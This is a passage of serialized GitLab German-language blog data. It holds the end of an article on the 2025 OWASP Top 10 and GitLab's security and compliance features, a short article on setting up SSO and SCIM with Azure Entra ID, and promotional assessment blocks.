MR](https://res.cloudinary.com/about-gitlab-com/image/upload/v1767639431/zs6xh8hz6mud3vuig3dy.png)\n\u003Cp>\u003C/p>\n\u003Ccenter>\u003Ci>Erkannte Schwachstellen im MR mit Diff von Feature-Branch zu Main-Branch anzeigen.\u003C/i>\u003C/center>\n\n#### Die Security-Posture verstehen\n\n- Eine [Software Bill of Materials (SBOM)](https://docs.gitlab.com/user/application_security/dependency_list/) generieren für vollständige Dependency-Transparenz und Compliance-Anforderungen.\n- Den [Vulnerability Report](https://docs.gitlab.com/user/application_security/vulnerability_report/) nutzen, um Schwachstellen über eine konsolidierte Ansicht der im Codebase gefundenen Security-Vulnerabilities zu triagieren.\n- Mit [detaillierter Remediation-Anleitung](https://docs.gitlab.com/user/application_security/vulnerabilities/) und [Risk-Assessment-Daten](https://docs.gitlab.com/user/application_security/vulnerabilities/risk_assessment_data/) schnell auf Schwachstellen reagieren.\n- [Security Inventory](https://docs.gitlab.com/user/application_security/security_inventory/) nutzen, um zu visualisieren, welche Assets geschützt werden müssen und welche Maßnahmen zur Verbesserung der Sicherheit erforderlich sind.\n- [Compliance Center](https://docs.gitlab.com/user/compliance/compliance_center/) nutzen, um Compliance-Standards-Adherence-Reporting, Violations-Reporting und Compliance-Frameworks zu verwalten.\n\n![Security Inventory](https://res.cloudinary.com/about-gitlab-com/image/upload/v1767639429/e9vnakc8yiyjbjm8aj7s.png)\n\u003Cp>\u003C/p>\n\u003Ccenter>\u003Ci>Security Inventory nutzen, um aktivierte Security-Scanner und Schwachstellen einzusehen.\u003C/i>\u003C/center>\n\n#### Prävention einrichten und Dokumentation pflegen\n\n- [Security Policies](https://docs.gitlab.com/user/application_security/policies/) konfigurieren, um Merges oder Deployments zu blockieren, wenn hochgradig kritische Schwachstellen in Dependencies erkannt werden – Security-Standards werden automatisch durchgesetzt.\n- [Compliance Frameworks](https://docs.gitlab.com/user/compliance/compliance_frameworks/) nutzen, um organisationsweite Security-Standards durch automatisierte Policy-Checks durchzusetzen, die Verschlüsselungsanforderungen, Credential-Management-Praktiken und sichere Workflow-Implementierungen verifizieren.\n- GitLab Wiki und Repository-Dokumentation nutzen, um Security-Design-Prinzipien, genehmigte Patterns und Architectural Decision Records zu pflegen, die Entwicklungsteams zu [Secure-by-Design-Implementierungen](https://about.gitlab.com/de-de/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress/) anleiten.\n- Merge-Request-Approval-Rules implementieren, die ein Security-Architect-Review für Features erfordern, die Authentication, Authorization, Verschlüsselung oder sensible Datenverarbeitung betreffen – so wird Security-Validierung auf Design-Ebene sichergestellt.\n- Tests erstellen, um Input-Validation und Allowlist-Ansätze für Dateipfade zu verifizieren.\n- GitLab Issues und Epics nutzen, um Security-Anforderungen und Threat Models in der Design-Phase zu dokumentieren – dies schafft eine nachvollziehbare Aufzeichnung von Security-Entscheidungen und stellt sicher, dass Security-Überlegungen vor Implementierungsbeginn adressiert werden.\n\n![Security Policy Dashboard](https://res.cloudinary.com/about-gitlab-com/image/upload/v1767639429/q4eelq3rqt0oonzhwoyb.png)\n\u003Ccenter>\u003Ci>Security Policies auf Instanz-, Gruppen- oder Projektebene anzeigen und festlegen.\u003C/i>\u003C/center>\n\n#### KI nutzen\n\n- [Code Suggestions](https://docs.gitlab.com/user/project/repository/code_suggestions/) für proaktive Guidance während der Entwicklung nutzen – mit Vorschlägen für sichere Design-Patterns wie korrektes Password-Hashing (bcrypt, Argon2), verschlüsselte Speichermechanismen und angemessenes Error-Handling, das keine sensiblen Informationen preisgibt.\n- [Security Analyst Agent](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/) nutzen, um erkannte Insecure-Design-Schwachstellen im Kontext zu bewerten – mit Erklärung der architekturellen Implikationen, Risikobewertung basierend auf dem Threat Model der Applikation und Remediation-Strategien, die grundlegende Design-Fehler statt nur Symptome adressieren.\n- [Code mit KI reviewen lassen](https://docs.gitlab.com/user/project/merge_requests/duo_in_merge_requests/#have-gitlab-duo-review-your-code), um konsistente Code-Review-Standards im Projekt sicherzustellen.\n\n![GitLab Security Analyst Agent](https://res.cloudinary.com/about-gitlab-com/image/upload/v1767639430/kqvgagepwleabt5zdkco.png)\n\u003Cp>\u003C/p>\n\u003Ccenter>\u003Ci>Security Analyst Agent nutzen, um Security-Schwachstellen schnell zu triagieren und zu bewerten.\u003C/i>\u003C/center>\n\n## Kernaussagen für Entwicklungsteams\n\n- **Supply-Chain-Sicherheit ist entscheidend**: Mit der Aufnahme von A03 und den hohen Impact-Scores ist die Absicherung der Software-Supply-Chain keine Option mehr. SBOM-Tracking, Dependency-Scanning und Integritätsprüfung sollten durchgängig in der Pipeline implementiert werden.\n- **Konfiguration ist wichtiger denn je**: Der Aufstieg auf #2 zeigt, dass konfigurationsbasierte Sicherheit nun ein primärer Angriffsvektor ist. Konfigurationsverifizierung automatisieren und IaC mit integrierter Security implementieren.\n- **Traditionelle Bedrohungen bestehen fort**: Obwohl Injection und Cryptographic Failures im Ranking gefallen sind, bleiben sie kritisch. Die Priorisierung nicht reduzieren, nur weil sie in der Liste gefallen sind.\n- **Error-Handling ist Security**: Die neue A10-Kategorie unterstreicht, dass der Umgang der Applikation mit Fehlern ein Security-Thema ist. Sicheres Error-Handling von Beginn an implementieren.\n- **Testing muss sich weiterentwickeln**: Die erweiterte CWE-Abdeckung (589 vs. 400 in 2021) bedeutet, dass Testing-Strategien umfassend sein müssen. SAST, DAST, Quellcode-Analyse und manuelles Penetration-Testing für effektive Abdeckung kombinieren.\n\n> Die [GitLab Security and Governance Solutions](https://about.gitlab.com/de-de/solutions/application-security-testing/) und die [Security-Scanning-Dokumentation](https://docs.gitlab.com/ee/user/application_security/) bieten weitere Informationen zur Stärkung der Security-Posture.\n",{"slug":710,"featured":31,"template":13},"2025-owasp-top-10-whats-changed-and-why-it-matters",{"content":712,"config":720},{"title":713,"description":714,"authors":715,"heroImage":717,"date":718,"body":719,"category":10},"SSO und SCIM mit Azure Entra ID – Zentralisiertes Identity-Management","Single Sign-On und SCIM-Benutzerbereitstellung einrichten – SAML-Konfiguration für GitLab mit Azure Entra ID.",[716],"Rob Jackson","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098047/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_1097303277_6gTk7M1DNx0tFuovupVFB1_1750098046895.jpg","2026-01-12","Mit wachsender Unternehmensgröße wird es zunehmend schwierig und kritisch, sicherzustellen, dass die richtigen Teammitglieder Zugriff auf die richtigen Gruppen und Projekte haben. GitLab bietet leistungsstarke Methoden zur Zugriffsverwaltung, insbesondere mit [Custom Roles](https://about.gitlab.com/blog/how-to-tailor-gitlab-access-with-custom-roles/). Die manuelle Verwaltung über eine Benutzeroberfläche kann jedoch bei großem Umfang frustrierend sein. Security Assertion Markup Language (SAML) und System for Cross-domain Identity Management (SCIM) bieten eine Lösung.\n\n\n## Was SSO und SCIM bieten\n\n\n**Single Sign-On (SSO) mit SAML** ermöglicht Benutzern, sich einmal bei einem zentralen Identity Provider – wie Azure Entra ID – zu authentifizieren und dann auf mehrere verbundene Anwendungen zuzugreifen, ohne erneute Anmeldung. **SCIM** automatisiert die Benutzerverwaltung: Wenn Benutzer im Identity Provider erstellt, Gruppen zugewiesen oder deaktiviert werden, synchronisiert SCIM diese Änderungen automatisch mit GitLab – einschließlich Berechtigungen basierend auf Gruppenmitgliedschaften.\n\n\n### Vorteile für Unternehmen\n\n\n**Sicherheit:** Zentralisierte Authentifizierung reduziert Passwort-Müdigkeit und Credential-Stuffing-Risiken. Multi-Faktor-Authentifizierung lässt sich auf Identity-Provider-Ebene erzwingen und gilt automatisch für alle verbundenen Anwendungen. Wenn ein Benutzer das Unternehmen verlässt, entfernt die Deaktivierung im Identity Provider sofort den Zugriff auf alle Systeme.\n\n\n**Effizienz:** Automatisierte Benutzerbereitstellung reduziert Onboarding-Zeit von Stunden auf Minuten. Gruppenmitgliedschaften in Azure Entra ID synchronisieren automatisch mit GitLab-Berechtigungen. Identitäten werden einmal im Identity Provider verwaltet und propagieren automatisch – kein manuelles Erstellen, Aktualisieren oder Löschen von Konten in jeder Anwendung erforderlich.\n\n\n**Compliance:** Zentralisiertes Identity-Management mit SSO und SCIM unterstützt Zugriffskontroll-Anforderungen aus Frameworks wie NIS2 (Artikel 21.2(i,j) Zugriffskontrolle und Multi-Faktor-Authentifizierung), ISO 27001 (A.5.15-17 Identitätsverwaltung) und BSI IT-Grundschutz (ORP.4). SSO-Authentifizierungs-Logs bieten zentralisierte Aufzeichnungen für GDPR-Artikel-30-Verarbeitungsdokumentation und Incident-Response.\n\n\n## Implementierung\n\n\nDie Konfiguration von GitLab Single Sign-On mit SAML und SCIM erfordert:\n\n\n- Azure Entra ID Tenant mit Administrator-Zugriff\n\n- GitLab Premium oder Ultimate mit Top-Level-Gruppe\n\n- Konfiguration auf beiden Plattformen (Parameter-Austausch, Attribut-Mappings, SCIM-Token)\n\n\n**Vollständige Schritt-für-Schritt-Anleitung:**\n\n\n→ [How-to: GitLab Single Sign-on with SAML, SCIM and Azure's Entra ID](https://about.gitlab.com/blog/how-to-gitlab-single-sign-on-with-saml-scim-and-azures-entra-id/)\n\n\nDie englische Anleitung bietet:\n\n\n- 15 detaillierte UI-Screenshots für Azure Entra ID und GitLab\n\n- Vollständige Attribut-Mapping-Tabellen (SAML Claims, SCIM Provisioning)\n\n- Parameter-Austausch zwischen Plattformen (Identifier, Reply URL, Certificate, SCIM Token)\n\n- Fehlerbehebung für häufige Probleme (Email-Attribut-Fehler, NameID-Mismatch)\n\n\n**Kostenlose Testversionen:** [Azure Entra ID](https://azure.microsoft.com/de-de/free/) | [GitLab](https://about.gitlab.com/free-trial/devsecops/)\n\n\n## Weiterführende Informationen\n\n\n- [The ultimate guide to enabling SAML and SSO on GitLab.com](https://about.gitlab.com/blog/the-ultimate-guide-to-enabling-saml/)\n\n- [SAML SSO for GitLab.com groups documentation](https://docs.gitlab.com/ee/user/group/saml_sso/)\n",{"slug":721,"featured":31,"template":13},"how-to-gitlab-single-sign-on-with-saml-scim-and-azures-entra-id",{"promotions":723},[724,738,750],{"id":725,"categories":726,"header":728,"text":729,"button":730,"image":735},"ai-modernization",[727],"ai-ml","Is AI achieving its promise at scale?","Quiz will take 5 minutes or less",{"text":731,"config":732},"Get your AI maturity score",{"href":733,"dataGaName":734,"dataGaLocation":242},"/assessments/ai-modernization-assessment/","modernization assessment",{"config":736},{"src":737},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/qix0m7kwnd8x2fh1zq49.png",{"id":739,"categories":740,"header":742,"text":729,"button":743,"image":747},"devops-modernization",[694,741],"devsecops","Are you just managing tools or shipping innovation?",{"text":744,"config":745},"Get your DevOps maturity score",{"href":746,"dataGaName":734,"dataGaLocation":242},"/assessments/devops-modernization-assessment/",{"config":748},{"src":749},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138785/eg818fmakweyuznttgid.png",{"id":751,"categories":752,"header":753,"text":729,"button":754,"image":758},"security-modernization",[10],"Are you trading speed for security?",{"text":755,"config":756},"Get your security maturity score",{"href":757,"dataGaName":734,"dataGaLocation":242},"/assessments/security-modernization-assessment/",{"config":759},{"src":760},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/p4pbqd9nnjejg5ds6mdk.png",{"header":762,"blurb":763,"button":764,"secondaryButton":769},"Beginne noch heute, schneller zu entwickeln","Entdecke, was dein Team mit der intelligenten Orchestrierungsplattform für DevSecOps erreichen kann.\n",{"text":765,"config":766},"Kostenlosen Test starten",{"href":767,"dataGaName":48,"dataGaLocation":768},"https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/","feature",{"text":50,"config":770},{"href":52,"dataGaName":53,"dataGaLocation":768},1772652052856]